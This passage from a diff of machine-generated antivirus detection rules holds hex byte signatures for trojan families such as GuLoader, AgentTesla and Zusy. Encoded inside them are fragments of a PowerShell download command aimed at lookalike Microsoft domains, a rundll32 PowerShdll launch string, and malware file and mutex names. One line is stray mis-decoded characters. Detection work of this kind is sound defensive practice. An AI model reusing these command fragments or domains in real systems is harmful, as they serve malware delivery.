24 6e 3d 5b 53 79 73 74 65 6d 2e 4c 69 6e 71 2e 45 6e 75 6d 65 72 61 62 6c 65 5d 3a 3a 46 69 72 73 74 28 5b 63 68 61 72 5b 5d 5d 28 31 30 29 29 3b 69 72 6d 01 00 19 01 65 76 65 6e 74 2d 73 64 61 74 61 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 01 00 17 01 6c 6f 67 69 6e 6c 69 76 65 2d 6d 69 63 72 6f 73 6f 66 } //25960 + $a_72_8 = {01 00 18 01 65 76 65 6e 74 2d 74 69 6d 65 2d 6d 69 63 72 6f 73 6f 66 74 2e 6f 72 67 01 00 1b 01 65 76 65 6e 74 2d 73 64 61 2d 74 61 2d 6d 69 63 72 6f 73 6f 66 74 2e 6c 69 76 65 00 00 78 2b 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 77 65 72 53 68 64 6c 6c 00 01 00 64 03 72 00 } //11892 condition: - ((#a_77_0 & 1)*16675+(#a_74_2 & 1)*28498+(#a_25_3 & 1)*3584+(#a_72_4 & 1)*25971+(#a_00_6 & 1)*114+(#a_2d_7 & 1)*2305+(#a_2d_8 & 1)*2305) >=14 + ((#a_77_0 & 1)*16675+(#a_74_2 & 1)*28498+(#a_25_3 & 1)*3584+(#a_72_4 & 1)*25971+(#a_48_5 & 1)*17152+(#a_31_6 & 1)*20516+(#a_6c_7 & 1)*25960+(#a_72_8 & 1)*11892) >=14 } -rule _InfrastructureShared_17346{ +rule _InfrastructureShared_18475{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff97 00 ffffff97 00 06 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 41 48 45 21 4d 54 42 00 64 00 43 01 48 8d 44 24 50 45 31 c9 45 31 c0 48 89 44 24 48 48 8d 44 24 70 48 89 da 31 c9 48 89 44 24 40 48 c7 44 24 38 00 00 00 } //21539 + $a_44_1 = {30 00 00 00 00 c7 44 24 28 00 00 00 08 c7 44 24 20 00 00 00 00 ff 15 32 00 44 01 70 6f 77 65 72 73 68 65 6c 6c 20 20 2d 63 20 22 24 6e 3d 5b 53 79 73 74 65 6d 2e 4c 69 6e 71 2e 45 6e 75 6d 65 72 61 62 6c 65 5d 3a 3a 46 69 72 73 74 28 5b 63 68 61 72 5b 5d 5d 28 31 30 29 29 3b 69 72 6d 01 00 19 01 65 76 65 6e 74 2d 73 64 61 74 61 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 01 00 17 01 6c 6f 67 69 6e 6c 69 76 65 2d 6d 69 63 72 6f 73 6f 66 74 2e 6f 72 67 01 00 18 01 65 76 65 6e 74 2d 74 69 6d 65 2d 6d 69 63 72 6f 73 6f 66 74 2e 6f 72 67 01 00 1b 01 65 76 65 6e 74 2d 73 64 61 2d 74 61 2d 6d 69 63 } //18432 + $a_6f_2 = {74 2e 6c 69 76 65 00 00 78 2b 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 6f 77 65 72 53 68 64 6c 6c 00 01 00 64 03 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 64 00 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 2d 00 66 00 20 00 3c 00 70 } //28530 + $a_00_4 = {90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2f 03 5c 50 6f 77 65 72 53 68 64 6c 6c 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 } //104 + $a_09_5 = {01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 62 03 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 64 00 6c 00 6c 00 2c 00 6d 00 61 00 69 00 6e 00 20 00 3c 00 73 00 63 00 72 00 69 00 70 00 74 00 3e 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 2b 01 00 01 00 01 00 07 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a } //14637 + condition: + ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*18432+(#a_6f_2 & 1)*28530+(#a_00_4 & 1)*104+(#a_09_5 & 1)*14637) >=151 + +} +rule _InfrastructureShared_18476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -206919,7 +220602,7 @@ rule _InfrastructureShared_17346{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105) >=1 } -rule _InfrastructureShared_17347{ +rule _InfrastructureShared_18477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -206934,7 +220617,7 @@ rule _InfrastructureShared_17347{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*18+(#a_6f_2 & 1)*31073+(#a_01_3 & 1)*30720+(#a_90_5 & 1)*64+(#a_01_6 & 1)*6032) >=1 } -rule _InfrastructureShared_17348{ +rule _InfrastructureShared_18478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -206951,7 +220634,7 @@ rule _InfrastructureShared_17348{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*0+(#a_00_3 & 1)*2448+(#a_01_4 & 1)*1303+(#a_31_5 & 1)*257+(#a_3a_6 & 1)*19521+(#a_2d_7 & 1)*14637+(#a_7a_8 & 1)*24841) >=1 } -rule _InfrastructureShared_17349{ +rule _InfrastructureShared_18479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -206964,7 +220647,7 @@ rule _InfrastructureShared_17349{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617+(#a_03_2 & 1)*1+(#a_2b_3 & 1)*0) >=2 } -rule _InfrastructureShared_17350{ +rule _InfrastructureShared_18480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -206976,7 +220659,7 @@ rule _InfrastructureShared_17350{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*4362+(#a_0b_2 & 1)*23816) >=3 } -rule _InfrastructureShared_17351{ +rule _InfrastructureShared_18481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -206987,7 +220670,7 @@ rule _InfrastructureShared_17351{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_17352{ +rule _InfrastructureShared_18482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -206999,7 +220682,7 @@ rule _InfrastructureShared_17352{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29281+(#a_00_3 & 1)*85) >=4 } -rule _InfrastructureShared_17353{ +rule _InfrastructureShared_18483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207010,7 +220693,7 @@ rule _InfrastructureShared_17353{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*5888) >=4 } -rule _InfrastructureShared_17354{ +rule _InfrastructureShared_18484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207021,7 +220704,7 @@ rule _InfrastructureShared_17354{ ((#a_54_0 & 1)*18467+(#a_0a_2 & 1)*23817) >=4 } -rule _InfrastructureShared_17355{ +rule _InfrastructureShared_18485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207034,7 +220717,7 @@ rule _InfrastructureShared_17355{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*71+(#a_08_2 & 1)*4360+(#a_06_3 & 1)*1889) >=4 } -rule _InfrastructureShared_17356{ +rule _InfrastructureShared_18486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207044,7 +220727,23 @@ rule _InfrastructureShared_17356{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17357{ +rule _InfrastructureShared_18487{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 72 6f 6e 74 6f 42 69 6e 2e 41 21 64 68 61 00 04 00 4d 03 69 c8 99 99 01 00 48 b8 67 66 66 66 66 66 66 66 48 f7 e9 49 89 48 90 01 01 48 c1 fa 02 48 8b c2 48 c1 e8 3f 48 03 d0 49 } //16675 + $a_01_1 = {01 eb 90 01 01 48 8b 05 90 01 04 48 c7 40 90 01 01 00 00 c0 3a 48 c7 40 90 01 01 00 00 20 03 90 00 01 00 0e 01 44 65 76 63 6f 6e 20 4d 6f 6e 69 74 6f 72 01 00 0b 01 64 65 76 63 6d 6f 6e 2e 64 6c 6c 01 00 1f 01 47 6c 6f 62 61 6c 5c 65 61 35 34 62 65 2d 34 31 65 63 77 33 35 34 2d 61 38 65 34 61 37 31 65 01 00 1f 01 47 6c 6f 62 61 6c 5c 65 33 35 31 62 66 2d 64 31 66 63 61 31 35 33 2d 62 36 30 34 33 37 30 66 01 00 1a 01 4c 6f 63 61 } //20617 + $a_31_2 = {33 66 65 2d 32 32 44 44 33 31 32 33 2d 25 30 38 78 01 00 23 01 47 6c 6f 62 61 6c 5c 33 31 30 62 61 65 2d 34 35 65 61 33 75 63 33 2d 39 35 62 30 } //23660 昳ⵥ㈲䑄ㄳ㌲┭㠰Ÿ⌀䜁潬慢屬ㄳ戰敡㐭攵㍡捵ⴳ㔹ぢ + $a_64_3 = {61 62 62 00 00 78 2b 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 49 51 21 4d 54 42 00 01 00 68 03 06 72 42 18 00 70 6f 90 01 01 00 00 0a 75 04 00 00 1b 0b 72 4a 18 00 70 0c 20 16 a8 02 00 0d 2b 36 00 07 09 07 8e 69 5d 07 } //13411 + $a_69_4 = {91 08 09 1f 16 5d 6f 90 01 01 01 00 0a 61 07 09 17 58 07 8e 69 5d 91 20 00 01 00 00 58 20 00 01 00 00 5d 59 d2 9c 09 15 58 0d 00 09 16 fe 04 16 fe 01 13 06 11 06 2d bd 90 00 01 00 1f 81 01 51 75 61 6e 4c 79 42 61 6e 56 65 2e 42 61 6f 43 61 6f 4e 61 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 1e 81 01 51 75 61 6e 4c 79 42 61 6e 56 65 2e 44 61 6e 67 4e 68 61 70 2e 72 65 73 6f 75 72 63 65 73 01 00 2a 81 01 51 75 61 6e 4c 79 42 61 } //1801 + $a_2e_5 = {72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 16 81 01 38 38 38 42 47 37 34 35 37 35 34 50 47 41 47 42 34 45 34 38 4e 39 00 00 78 2b 01 00 05 00 05 00 05 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 48 65 72 70 61 64 65 72 70 69 6e 67 00 01 00 4e 03 55 8b ec 83 } //22126 + $a_65_6 = {00 8d 90 01 02 83 65 f8 00 50 ff 15 90 01 04 8b 45 f8 33 45 f4 89 45 fc ff 15 90 01 04 31 45 fc ff 15 90 01 04 31 45 fc 8d 90 01 02 50 ff 15 90 01 04 8b 45 f0 8d 90 01 02 33 45 ec 33 45 fc 33 c1 c9 c3 90 00 01 00 1b 03 8b 04 85 28 db 42 00 68 00 08 00 00 6a 00 50 89 45 fc ff 15 90 01 04 8b f0 90 00 01 00 1f 03 6a 02 8b c6 2b c7 50 57 6a 00 ff 15 90 01 04 85 c0 90 01 02 8b 4d 04 ba 25 01 00 } //5356 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*20617+(#a_31_2 & 1)*23660+(#a_64_3 & 1)*13411+(#a_69_4 & 1)*1801+(#a_2e_5 & 1)*22126+(#a_65_6 & 1)*5356) >=4 + +} +rule _InfrastructureShared_18488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -207058,7 +220757,7 @@ rule _InfrastructureShared_17357{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*2312+(#a_58_2 & 1)*2460+(#a_6e_3 & 1)*30033+(#a_65_4 & 1)*11891) >=5 } -rule _InfrastructureShared_17358{ +rule _InfrastructureShared_18489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -207071,7 +220770,7 @@ rule _InfrastructureShared_17358{ ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*17713+(#a_01_3 & 1)*13312+(#a_31_4 & 1)*17200) >=5 } -rule _InfrastructureShared_17359{ +rule _InfrastructureShared_18490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -207086,7 +220785,7 @@ rule _InfrastructureShared_17359{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29797+(#a_45_2 & 1)*11573+(#a_75_3 & 1)*11884+(#a_00_4 & 1)*47+(#a_00_5 & 1)*51) >=5 } -rule _InfrastructureShared_17360{ +rule _InfrastructureShared_18491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -207100,7 +220799,7 @@ rule _InfrastructureShared_17360{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*112+(#a_00_3 & 1)*102+(#a_42_4 & 1)*19745+(#a_64_5 & 1)*-32750) >=5 } -rule _InfrastructureShared_17361{ +rule _InfrastructureShared_18492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -207116,7 +220815,7 @@ rule _InfrastructureShared_17361{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*30030+(#a_00_2 & 1)*119+(#a_54_3 & 1)*18490+(#a_65_4 & 1)*24943+(#a_00_5 & 1)*115+(#a_65_6 & 1)*16687) >=5 } -rule _InfrastructureShared_17362{ +rule _InfrastructureShared_18493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -207131,7 +220830,7 @@ rule _InfrastructureShared_17362{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*273+(#a_00_2 & 1)*122+(#a_00_4 & 1)*108+(#a_00_6 & 1)*73+(#a_58_8 & 1)*22529) >=5 } -rule _InfrastructureShared_17363{ +rule _InfrastructureShared_18494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -207145,7 +220844,7 @@ rule _InfrastructureShared_17363{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*71+(#a_2d_3 & 1)*12849+(#a_65_4 & 1)*11825+(#a_02_5 & 1)*29806) >=6 } -rule _InfrastructureShared_17364{ +rule _InfrastructureShared_18495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -207162,7 +220861,7 @@ rule _InfrastructureShared_17364{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*2560+(#a_64_2 & 1)*28492+(#a_74_3 & 1)*28781+(#a_c6_4 & 1)*514+(#a_8d_5 & 1)*-3325+(#a_77_6 & 1)*26223+(#a_00_7 & 1)*99) >=6 } -rule _InfrastructureShared_17365{ +rule _InfrastructureShared_18496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 06 00 08 00 21 " @@ -207178,7 +220877,7 @@ rule _InfrastructureShared_17365{ ((#a_77_0 & 1)*16675+(#a_e8_1 & 1)*27140+(#a_4c_2 & 1)*807+(#a_74_3 & 1)*28499+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=6 } -rule _InfrastructureShared_17366{ +rule _InfrastructureShared_18497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -207192,7 +220891,7 @@ rule _InfrastructureShared_17366{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110+(#a_00_4 & 1)*111+(#a_69_5 & 1)*14913+(#a_65_6 & 1)*26723) >=7 } -rule _InfrastructureShared_17367{ +rule _InfrastructureShared_18498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -207208,7 +220907,7 @@ rule _InfrastructureShared_17367{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29547+(#a_6f_2 & 1)*28265+(#a_00_3 & 1)*11128+(#a_48_5 & 1)*8448+(#a_31_6 & 1)*385+(#a_32_7 & 1)*23144) >=8 } -rule _InfrastructureShared_17368{ +rule _InfrastructureShared_18499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -207218,14 +220917,14 @@ rule _InfrastructureShared_17368{ $a_4d_2 = {74 68 6f 64 01 00 2c 81 01 39 35 37 56 50 52 57 35 46 5a 72 61 4a 39 70 4e 63 4a 58 54 39 49 36 68 4d 61 31 49 78 6e 42 37 50 2b 78 57 6e 41 32 67 46 52 38 3d 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 2b 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 } //25927 $a_54_3 = {00 01 00 1d 81 01 5c 66 79 6c 64 65 70 65 6e 6e 65 62 6c 6b 6b 65 74 73 5c 66 72 65 6d 74 6f 6e 69 6e 67 01 00 18 81 01 5c 63 61 63 6f 64 61 65 6d 6f 6e 5c 47 6f 72 65 62 69 6c 6c 2e 69 6e 69 01 00 17 81 01 5c 64 72 65 73 73 65 72 } //8523 $a_61_4 = {6e 65 64 65 33 37 2e 6c 6e 6b 01 00 24 81 01 5c 6f 6c 69 65 74 61 6e 6b 62 65 6b 65 6e 64 74 67 72 65 6c 73 65 72 6e 65 5c 65 72 65 6e 61 73 2e 6b 69 6e 01 00 13 81 01 5c 61 75 74 6f 74 72 61 6e 73 70 6c } //23667 - $a_2e_5 = {72 69 01 00 0b 81 01 44 61 72 65 66 75 6c 2e 69 6e 69 01 00 0c 81 01 52 6f 75 6c 61 64 65 6e 2e 68 65 74 01 00 0d 81 01 62 61 6c 6c 66 69 65 6c 64 2e 61 73 73 01 00 0f 81 01 66 6f 6c 69 6f 66 6f 72 6d 61 74 2e 69 6e 69 01 00 16 81 01 6c 69 6e 69 65 6e 75 6d 6d 65 72 65 72 69 6e 67 65 6e 2e 73 6e 65 00 00 78 2b 01 00 0f 00 0f 00 0a 00 21 23 48 53 } //28257 - $a_46_6 = {72 73 70 61 72 66 2e 49 31 00 04 00 1e 01 66 00 70 00 73 00 6d 00 6f 00 64 00 7a 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 69 00 70 00 04 00 18 01 61 00 64 00 73 00 63 00 6c 00 } //21076 - $a_00_7 = {6b 00 2e 00 65 00 78 00 65 00 02 00 12 01 41 00 69 00 6d 00 62 00 6f 00 74 00 20 00 43 00 46 00 02 00 12 01 5b 00 48 00 41 00 43 00 4b 00 20 00 43 00 46 00 5d 00 02 00 18 01 6b 00 65 00 79 00 2d 00 61 00 69 00 6d 00 62 00 6f 00 74 00 63 00 66 00 02 00 16 01 6d 00 69 00 6e 00 69 00 61 00 64 00 73 } //105 + $a_2e_5 = {72 69 01 00 0b 81 01 44 61 72 65 66 75 6c 2e 69 6e 69 01 00 0c 81 01 52 6f 75 6c 61 64 65 6e 2e 68 65 74 01 00 0d 81 01 62 61 6c 6c 66 69 65 6c 64 2e 61 73 73 01 00 0f 81 01 66 6f 6c 69 6f 66 6f 72 6d 61 74 2e 69 6e 69 01 00 16 81 01 6c 69 6e 69 65 6e 75 6d 6d 65 72 65 72 69 6e 67 65 6e 2e 73 6e 65 00 00 78 2b 01 00 0a 00 0a 00 0a 00 21 23 48 53 } //28257 + $a_54_6 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 51 21 4d 54 42 00 01 00 15 81 01 5c 6b 6d 6d 65 73 5c 70 65 74 72 65 61 73 5c 42 65 6d 67 65 74 01 00 17 81 } //21076 + $a_61_7 = {64 73 73 76 61 67 68 65 64 65 72 6e 65 5c 2a 2e 65 78 65 01 00 19 81 01 5c 76 61 6e 64 66 61 73 74 68 65 64 5c 73 65 63 72 65 74 6c 79 2e 6c 6e 6b 01 00 23 81 01 5c 63 68 61 7a 7a 65 6e 69 6d 5c 75 6e 64 6c 61 64 65 6c 73 65 73 73 79 6e 64 65 72 6e 65 73 2e 7a 69 70 01 00 0d 81 01 43 61 75 } //23553 condition: - ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*17265+(#a_4d_2 & 1)*25927+(#a_54_3 & 1)*8523+(#a_61_4 & 1)*23667+(#a_2e_5 & 1)*28257+(#a_46_6 & 1)*21076+(#a_00_7 & 1)*105) >=8 + ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*17265+(#a_4d_2 & 1)*25927+(#a_54_3 & 1)*8523+(#a_61_4 & 1)*23667+(#a_2e_5 & 1)*28257+(#a_54_6 & 1)*21076+(#a_61_7 & 1)*23553) >=8 } -rule _InfrastructureShared_17369{ +rule _InfrastructureShared_18500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -207233,16 +220932,53 @@ rule _InfrastructureShared_17369{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 4b 21 4d 54 42 00 01 00 1d 81 01 5c 66 79 6c 64 65 70 65 6e 6e 65 62 6c 6b 6b 65 74 73 5c 66 72 65 6d 74 6f 6e 69 6e 67 01 00 18 81 01 5c 63 61 63 6f 64 61 65 6d 6f 6e 5c 47 } //18467 $a_62_1 = {6c 6c 2e 69 6e 69 01 00 17 81 01 5c 64 72 65 73 73 65 72 73 5c 44 61 6e 6e 65 64 65 33 37 2e 6c 6e 6b 01 00 24 81 01 5c 6f 6c 69 65 74 61 6e 6b 62 65 6b 65 6e 64 74 67 72 65 6c 73 65 72 6e 65 5c 65 72 65 6e 61 73 2e 6b 69 6e 01 00 13 81 01 5c 61 75 74 6f 74 72 61 6e 73 70 6c 61 6e 74 2e 70 72 69 01 00 } //29295 $a_44_2 = {72 } //-32501 r - $a_6c_3 = {69 6e 69 01 00 0c 81 01 52 6f 75 6c 61 64 65 6e 2e 68 65 74 01 00 0d 81 01 62 61 6c 6c 66 69 65 6c 64 2e 61 73 73 01 00 0f 81 01 66 6f 6c 69 6f 66 6f 72 6d 61 74 2e 69 6e 69 01 00 16 81 01 6c 69 6e 69 65 6e 75 6d 6d 65 72 65 72 69 6e 67 65 6e 2e 73 6e 65 00 00 78 2b 01 00 0f 00 0f 00 0a 00 21 23 48 53 54 52 3a 46 6f 72 73 70 61 72 66 2e 49 31 00 04 } //26213 - $a_66_4 = {70 } //7680 p - $a_00_6 = {7a 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 69 00 70 00 04 00 18 01 61 00 64 00 73 00 63 00 6c 00 69 00 63 00 6b 00 2e 00 65 00 78 00 65 00 02 00 12 01 41 00 69 00 6d 00 62 00 6f 00 74 00 20 00 43 00 46 00 02 00 12 01 5b 00 48 00 41 00 43 00 4b 00 20 00 43 00 46 00 5d 00 02 00 18 01 6b 00 65 00 79 00 } //111 - $a_00_7 = {69 00 6d 00 62 00 6f 00 74 00 63 00 66 00 02 00 16 01 6d 00 69 00 6e 00 69 00 61 00 64 00 73 00 2e 00 65 00 78 00 65 00 02 00 1c 01 72 00 75 00 6e 00 61 00 64 00 73 00 6d 00 69 00 6e 00 69 00 2e 00 65 00 78 00 65 00 02 00 10 03 66 63 66 64 78 74 40 90 02 08 2e 63 6f 6d 90 00 01 00 18 01 4f } //45 - $a_00_9 = {74 00 43 00 46 00 2e 00 43 00 6f 00 6d 00 01 00 1c 01 63 00 2e 00 61 00 69 00 6d 00 62 00 6f 00 74 00 63 00 66 00 2e 00 6e 00 65 00 74 00 00 00 78 2b 01 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 4e 6f 6f 6e 2e 52 52 48 32 33 30 36 5f 32 21 4d 54 42 00 01 00 0d 01 6c } //72 + $a_6c_3 = {69 6e 69 01 00 0c 81 01 52 6f 75 6c 61 64 65 6e 2e 68 65 74 01 00 0d 81 01 62 61 6c 6c 66 69 65 6c 64 2e 61 73 73 01 00 0f 81 01 66 6f 6c 69 6f 66 6f 72 6d 61 74 2e 69 6e 69 01 00 16 81 01 6c 69 6e 69 65 6e 75 6d 6d 65 72 65 72 69 6e 67 65 6e 2e 73 6e 65 00 00 78 2b 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //26213 + $a_6f_4 = {64 65 72 2e 53 53 51 21 4d 54 42 00 01 00 15 81 01 5c 6b 6d 6d 65 73 5c 70 65 74 72 65 61 73 5c 42 65 6d 67 65 74 01 00 17 81 01 5c 61 61 6e 64 73 73 76 61 67 68 65 64 65 72 6e 65 5c 2a 2e 65 78 65 01 00 19 81 01 5c 76 61 6e 64 } //30023 + $a_74_5 = {65 64 5c 73 65 63 72 65 74 6c 79 2e 6c 6e 6b 01 00 23 81 01 5c 63 68 61 7a 7a 65 6e 69 6d 5c 75 6e 64 6c 61 64 65 6c 73 65 73 73 79 6e 64 65 72 6e 65 73 2e 7a 69 70 01 00 0d 81 01 43 61 75 73 65 6c 69 73 74 2e 74 78 74 01 00 0b 81 01 44 64 6b 65 64 65 72 2e 74 78 74 01 00 10 81 01 45 76 61 6e 67 65 6c 69 65 72 6e 65 2e 62 65 72 01 00 18 81 01 } //24934 + $a_73_6 = {65 6d 65 64 64 65 6c 65 6c 73 65 72 6e 65 73 2e 70 72 6f 01 00 15 81 01 73 6b 6a 61 6c 64 65 64 69 67 74 6e 69 6e 67 65 6e 2e 6a 70 67 01 00 0f 81 01 76 6b 73 74 70 72 6f 63 65 6e 74 2e 6a 70 67 00 00 78 2b 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f } //29296 + $a_72_7 = {53 54 47 21 4d 54 42 00 01 00 11 81 01 5c 55 6f 72 67 61 6e 69 73 65 72 65 74 2e 7a 69 70 01 00 0f 81 01 5c 70 68 61 6e 74 6f 6d 69 73 74 2e 74 78 74 01 00 0f 81 01 5c 56 69 74 72 69 6f 6c 65 72 73 2e 69 6e 69 01 00 16 81 01 5c 6b 61 72 64 69 6e 61 6c 69 74 65 74 65 72 6e 65 73 2e 62 69 6e 01 00 15 81 } //25697 + $a_61_8 = {6f 62 73 73 74 69 67 65 72 73 32 33 30 2e 67 69 66 01 00 19 81 01 5c 44 75 63 6b 62 69 6c 6c 73 31 31 36 5c 4b 61 6c 61 73 69 65 2e 69 6e 69 01 00 19 81 01 5c 76 69 6c 6d 65 72 5c 6d 75 73 63 75 6c 6f 73 70 69 72 61 6c 2e } //23553 + $a_01_9 = {00 0f 81 01 5c 62 6f 72 74 6b 6f 6d 6e 65 73 2e 65 78 65 01 00 19 81 01 5c 46 69 73 6b 65 72 69 69 6e 74 65 72 65 73 73 65 72 6e 65 73 2e 69 6e 69 01 00 18 81 01 74 69 6c 73 74 72 61 6e 73 70 6f 72 74 65 72 65 6e 64 65 73 2e 6a 70 67 00 00 78 2b 01 00 0f 00 0f 00 0a 00 21 23 48 53 54 52 3a 46 6f 72 73 70 61 72 66 2e 49 31 00 04 00 1e } //27002 condition: - ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29295+(#a_44_2 & 1)*-32501+(#a_6c_3 & 1)*26213+(#a_66_4 & 1)*7680+(#a_00_6 & 1)*111+(#a_00_7 & 1)*45+(#a_00_9 & 1)*72) >=10 + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29295+(#a_44_2 & 1)*-32501+(#a_6c_3 & 1)*26213+(#a_6f_4 & 1)*30023+(#a_74_5 & 1)*24934+(#a_73_6 & 1)*29296+(#a_72_7 & 1)*25697+(#a_61_8 & 1)*23553+(#a_01_9 & 1)*27002) >=10 } -rule _InfrastructureShared_17370{ +rule _InfrastructureShared_18501{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 51 21 